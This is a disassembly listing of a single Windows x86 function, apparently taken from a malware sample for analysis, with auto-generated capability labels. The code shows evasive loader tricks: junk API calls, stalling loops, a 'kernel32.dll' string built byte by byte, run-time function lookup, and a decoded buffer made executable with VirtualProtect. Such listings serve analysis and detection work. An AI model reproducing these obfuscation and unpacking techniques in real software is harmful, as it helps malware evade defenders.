Function at 0x40279b
Capabilities:
Access the windows event log
Manipulate console buffer
Read file on windows
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
xor edi, edi
mov esi, str.lita
cmp edi, 0xa
jl 0x402885
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_ScrollWindow]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LookupIconIdFromDirectory]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_GradientFill]
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetNextDlgTabItem]
push ebx
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x2c], 0xf
call fcn.00402aa9
push dword [ebp - 0x14]
push 0x12c00
push 1
push esi
call fcn.004032dd
push dword [ebp - 0x14]
call fcn.00402f39
push 0x401278
push esi
call fcn.00402ebc
push 0x5eb4
push 0xa566
call fcn.00402e7c
add esp, 0x24
push ebx
push 1
lea ecx, [ebp - 0x44]
call fcn.00402ac8
inc edi
cmp edi, 0x6a42b
jl 0x4027be
mov dword [ebp - 4], ebx
mov dword [ebp - 4], 0x56b2
add dword [ebp - 4], 0x932
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push ebx
call esi
push dword [ebp - 4]
mov dword [ebp - 0x1c], eax
push ebx
call esi
xor edi, edi
mov dword [ebp - 0xc], eax
xor esi, esi
mov byte [ebp - 5], 1
cmp esi, 0x15bf
jle 0x4028c1
mov byte [ebp - 5], bl
cmp esi, ebx
jge 0x4028e1
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
push 0x45a200
push 0x401220
push 0x298b9c0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
inc esi
cmp byte [ebp - 5], bl
jne 0x4028b6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], 0x20
mov dword [ebp - 0x18], ebx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
lea eax, [ebp - 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
lea eax, [ebp - 0xa4]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
cmp dword [ebp - 0x18], 0x35d927
jle 0x40294d
cmp dword [ebp - 0x20], 0x86e4
je 0x40294d
cmp dword [ebp - 0x3c], 0x23b74f
je 0x40294d
cmp dword [ebp - 0x98], 0x2e40a4d1
jne 0x4029e7
cmp dword [ebp - 0x10], 0x40
jae 0x402956
inc dword [ebp - 0x10]
cmp edi, ebx
jne 0x4029df
push 0x401204
mov byte [str.lita], 0x6b
mov byte [0x40d411], 0x65
mov byte [0x40d412], 0x72
mov byte [0x40d413], 0x6e
mov byte [0x40d414], 0x65
mov byte [0x40d415], 0x6c
mov byte [0x40d416], 0x33
mov byte [0x40d417], 0x32
mov byte [0x40d418], 0x2e
mov byte [0x40d419], 0x64
mov byte [0x40d41a], 0x6c
mov byte [0x40d41b], 0x6c
mov byte [0x40d41c], bl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
push 0x4011e8
push edi
call esi
push 0x4011d8
push edi
mov dword [0x433810], eax
call esi
mov dword [0x42700c], eax
inc dword [ebp - 0x18]
jmp 0x4028f7
push ebx
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x48], 0xf
call fcn.00402aa9
push ebx
push 1
lea ecx, [ebp - 0x60]
call fcn.00402ac8
call fcn.00402762
push dword [0x40d010]
call fcn.0040260b
mov edi, dword [0x40d00c]
xor esi, esi
cmp dword [ebp - 4], ebx
jbe 0x402a2f
push esi
push edi
push dword [ebp - 0xc]
call fcn.00402748
inc esi
cmp esi, dword [ebp - 4]
jb 0x402a1f
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040259a
push 0x433818
push dword [ebp - 0x10]
push dword [ebp - 4]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 4]
push dword [ebp - 0xc]
call fcn.0040269d
push dword [ebp - 0xc]
call fcn.00402726
push ebx
push ebx
push ebx
call fcn.00402e51
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
mov eax, dword [0x44c820]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
pop edi
pop esi
mov dword [eax + 8], 1
pop ebx
leave
ret